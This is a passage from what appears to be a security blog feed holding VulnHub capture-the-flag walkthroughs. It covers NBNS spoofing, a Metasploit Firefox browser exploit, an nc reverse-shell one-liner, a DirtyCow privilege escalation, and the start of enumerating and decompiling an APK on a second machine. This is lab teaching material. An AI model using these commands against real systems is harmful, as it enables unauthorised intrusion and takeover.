   TIMEOUT    500              &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The number of seconds to &lt;span class=&quot;nb&quot;&gt;wait &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;new data


Auxiliary action:

   Name     Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   Service  Run NBNS spoofing service


msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;spoof/nbns/nbns_response&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; run
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Auxiliary module running as background job 0.

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; NBNS Spoofer started. Listening &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;NBNS requests with REGEX &lt;span class=&quot;s2&quot;&gt;&quot;disneyworld&quot;&lt;/span&gt; ...
msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;spoof/nbns/nbns_response&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Soon we will see the following output in Metasploit, meaning that leopold now thinks that the DISNEYWORLD hostname is resolving to our attacking computer.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] 192.168.0.31     nbns - DISNEYWORLD matches regex, responding with 192.168.0.32
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will also soon after see some TCP requests to port 80 from leopold to our attacking machine in Wireshark. However, we don’t have anything running on port 80. We can fire up a netcat listener to see the request.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc &lt;span class=&quot;nt&quot;&gt;-nlvp&lt;/span&gt; 80
Ncat: Version 7.80 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org/ncat &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 192.168.0.31.
Ncat: Connection from 192.168.0.31:51910.
GET / HTTP/1.1
Host: disneyworld
User-Agent: Mozilla/5.0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;X11&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Ubuntu&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Linux i686&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; rv:16.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0.9,&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0.8
Accept-Language: en-US,en&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0.5
Accept-Encoding: &lt;span class=&quot;nb&quot;&gt;gzip&lt;/span&gt;, deflate
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we have the request leopold is making. There is two key pieces of information we can gather from this, namely the user-agent string and the endpoint he is trying to reach, which is the root directory. After a quick web search on the user-agent string, we learn that leopold is using Firefox 16.&lt;/p&gt;

&lt;h2 id=&quot;initial-access&quot;&gt;Initial Access&lt;/h2&gt;

&lt;p&gt;Searching for “firefox” in searchsploit gives many possible alternatives and after some research, the “toString console.time Privileged JavaScript Injection” exploit seems to be a match for the Firefox version in question and there is even a Metasploit module for it. The module sets up a webserver on the attacking machine to serve the browser exploit to visitors. Let’s change the SRVPORT to 80, which was the port leopold was trying to reach, and URIPATH to “/”, before running it.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/browser/firefox_tostring_console_injection&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; options 

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exploit/multi/browser/firefox_tostring_console_injection&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name     Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   CONTENT                   no        Content to display inside the HTML &amp;lt;body&amp;gt;.
   Retries  &lt;span class=&quot;nb&quot;&gt;true             &lt;/span&gt;no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;host or network interface to listen on. This must be an address on the &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  80               &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;port to listen on.
   SSL      &lt;span class=&quot;nb&quot;&gt;false            &lt;/span&gt;no        Negotiate SSL &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;incoming connections
   SSLCert                   no        Path to a custom SSL certificate &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;default is randomly generated&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   URIPATH                   no        The URI to use &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;this exploit &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;default is random&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;


Payload options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;generic/shell_reverse_tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name   Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   LHOST  192.168.0.32     &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;an interface may be specified&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   LPORT  4444             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen port


Exploit target:

   Id  Name
   &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
   0   Universal &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Javascript XPCOM Shell&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;


msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/browser/firefox_tostring_console_injection&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After some minutes we get a shell:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 192.168.0.31     firefox_tostring_console_injection - Sending HTML response to 192.168.0.31
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] 192.168.0.31     firefox_tostring_console_injection - Target 192.168.0.31 has requested an unknown path: /favicon.ico
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] 192.168.0.31     firefox_tostring_console_injection - Target 192.168.0.31 has requested an unknown path: /favicon.ico
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Command shell session 1 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.0.32:4444 -&amp;gt; 192.168.0.31:36555&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-09-15 17:15:05 &lt;span class=&quot;nt&quot;&gt;-0400&lt;/span&gt;
msf5 exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;multi/browser/firefox_tostring_console_injection&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; sessions &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; 1
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Starting interaction with 1...

&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;leopold&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;leopold&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;leopold&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;adm&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,24&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;cdrom&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,27&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,30&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dip&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,46&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;plugdev&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,107&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;lpadmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,124&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sambashare&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The shell is not stable and dies after some mintues. To fix this, we can create a new shell. Open a new netcat listener on port 3333 on the attacking machine and write the code below in the current shell. Remember to change the attacking IP address.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkfifo&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/f|/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; 2&amp;gt;&amp;amp;1|nc 192.168.0.32 3333 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;priv-esc&quot;&gt;Priv Esc&lt;/h2&gt;

&lt;p&gt;Due to the old Linux kernel version, we can try the goto DirtyCow exploit. Simply download, rename and host the source code on the attacking machine:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# wget https://www.exploit-db.com/download/40839
root@kali:~# &lt;span class=&quot;nb&quot;&gt;mv &lt;/span&gt;40839 40839.c
root@kali:~# python3 &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; http.server 8080
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Download, compile and run the exploit on the target host, from the remote leopold shell:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;wget http://192.168.0.32
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gcc 40839.c &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; cow &lt;span class=&quot;nt&quot;&gt;-pthread&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lcrypt&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./cow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enter a password for the firefart root user and wait for the exploit to finish, before switching to the firefart user:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su firefart
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;firefart&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Leopold is a workstation and a user trying to browse the Internet. What is most likely a typo in the address bar of the web browser, results in DNS failing and the computer resorts to alternative name resolution systems, which are open for man-in-the-middle attacks. From here we poisoned the name resolution request and redirected Leopold’s traffic to our attacking computer which served a browser exploit, gaining us remote access to Leopold’s computer. Using a well known kernel exploit, we managed to gain administrative rights to his computer.&lt;/p&gt;

&lt;p&gt;This attack vector is being actively used in real world penetration tests, with tools such as Responder, that works with a lot of different protocols and sets up various fake services, such as SMB to steal domain credentials and hashes.&lt;/p&gt;
</description>
				<pubDate>Wed, 30 Sep 2020 00:00:00 +0000</pubDate>
				<link>/vm/2020/09/30/Walkthrough-VulnHub-Leopold.html</link>
				<guid isPermaLink="true">/vm/2020/09/30/Walkthrough-VulnHub-Leopold.html</guid>
			</item>
		
			<item>
				<title>Walkthrough of Alphonse</title>
				<description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;The following is a walkthrough for one of the machines I have created and submitted to VulnHub for my &lt;a href=&quot;https://www.vulnhub.com/series/sp,189/&quot;&gt;SP series&lt;/a&gt;. Since I created the VM, I’m biased on how to solve it, but I have tried to tackle it from an objective point of view. Before we go on, a fun thing to know about this VM is that it was inspired from a real penetration test and the reason mygg.js was built. Personally, I regard the difficulty level as intermediate.&lt;/p&gt;

&lt;h2 id=&quot;prep&quot;&gt;Prep&lt;/h2&gt;

&lt;p&gt;Let’s add alphonse to /etc/hosts to make things more trivial.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/hosts         
127.0.0.1       localhost
127.0.1.1       kali
192.168.0.36    alphonse
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;nmap&quot;&gt;nmap&lt;/h3&gt;

&lt;p&gt;A port scan gives us a lot to go after, with multiple interesting services. We can already see some files on the FTP server with anonymous login enabled and a webserver, which we should do some content discovery on. We should also see if we can gather some information from the smb service.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nmap -sTVC alphonse -p- -n
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 15:58 EDT
Nmap scan report for 192.168.0.36
Host is up (0.00054s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxr-x    2 ftp      ftp          4096 Sep 05  2019 dev
|_drwxr-xr-x    2 ftp      ftp          4096 Aug 30  2019 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.34
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp  open  http        Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:AC:1F:1D (Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.1.1, ALPHONSE; OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;enum4linux&quot;&gt;enum4linux&lt;/h3&gt;

&lt;p&gt;enum4linux doesn’t give us that much information, other than some default shares.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# enum4linux alphonse
---
//192.168.0.36/print$   Mapping: DENIED, Listing: N/A
//192.168.0.36/IPC$ [E] Can't understand response:
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;web-server&quot;&gt;Web server&lt;/h3&gt;

&lt;p&gt;We can use my new favorite content discovery tool ffuf to enumerate content on the webserver. Unfortunately, it doesn’t find anything useful with the basic big.txt in Kali.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/go/bin# ffuf -w /usr/share/wordlists/dirb/big.txt -u http://alphonse/FUZZ
.htaccess               [Status: 403, Size: 296, Words: 22, Lines: 12]
.htpasswd               [Status: 403, Size: 296, Words: 22, Lines: 12]
server-status           [Status: 403, Size: 300, Words: 22, Lines: 12]
:: Progress: [20469/20469] :: Job [1/1] :: 4093 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
root@kali:~/go/bin# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ftp&quot;&gt;FTP&lt;/h3&gt;

&lt;p&gt;We can use the build-in ftp tool to browse and download the DNAnalyzer.apk file. Interesting.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# ftp alphonse
Connected to 192.168.0.36.
220 (vsFTPd 3.0.3)
Name (192.168.0.36:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 ftp      ftp          4096 Sep 05  2019 dev
drwxr-xr-x    2 ftp      ftp          4096 Aug 30  2019 pub
226 Directory send OK.
ftp&amp;gt; cd dev
250 Directory successfully changed.
ftp&amp;gt; get DNAnalyzer.apk
local: DNAnalyzer.apk remote: DNAnalyzer.apk
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for DNAnalyzer.apk (2009772 bytes).
226 Transfer complete.
2009772 bytes received in 0.05 secs (40.5301 MB/s)
ftp&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;disecting-the-apk&quot;&gt;Disecting the APK&lt;/h3&gt;

&lt;p&gt;APKs are Android packages containing Java code, which we can reverse engineer and take a investigate the source code.&lt;/p&gt;

&lt;p&gt;Since APK is basically just a zip file, we can extract it like a zip file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# unzip DNAnalyzer.apk -d dnanalyzer
root@kali:~# cd dnanalyzer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We need to convert the dex format to Java, using dex2jar.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/dnanalyzer# apt install dex2jar
root@kali:~/dnanalyzer# d2j-dex2jar classes.dex
root@kali:~/dnanalyzer# ls
AndroidManifest.xml  classes.dex  classes-dex2jar.jar  META-INF  okhttp3  res  resources.arsc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We now have a jar file, which we can open with jd-gui. Inside com/dnanalyzer.jwt/network/NetworkRequest.class we can find some interesting file paths and functionality.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doGetProtectedQuote&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@NonNull&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;@Nullable&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Callback&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;setCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;doGetRequestWithToken&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://alphonse/dnanalyzer/api/protected/result.php&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@NonNull&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;@NonNull&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Callback&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;setCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;HashMap&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
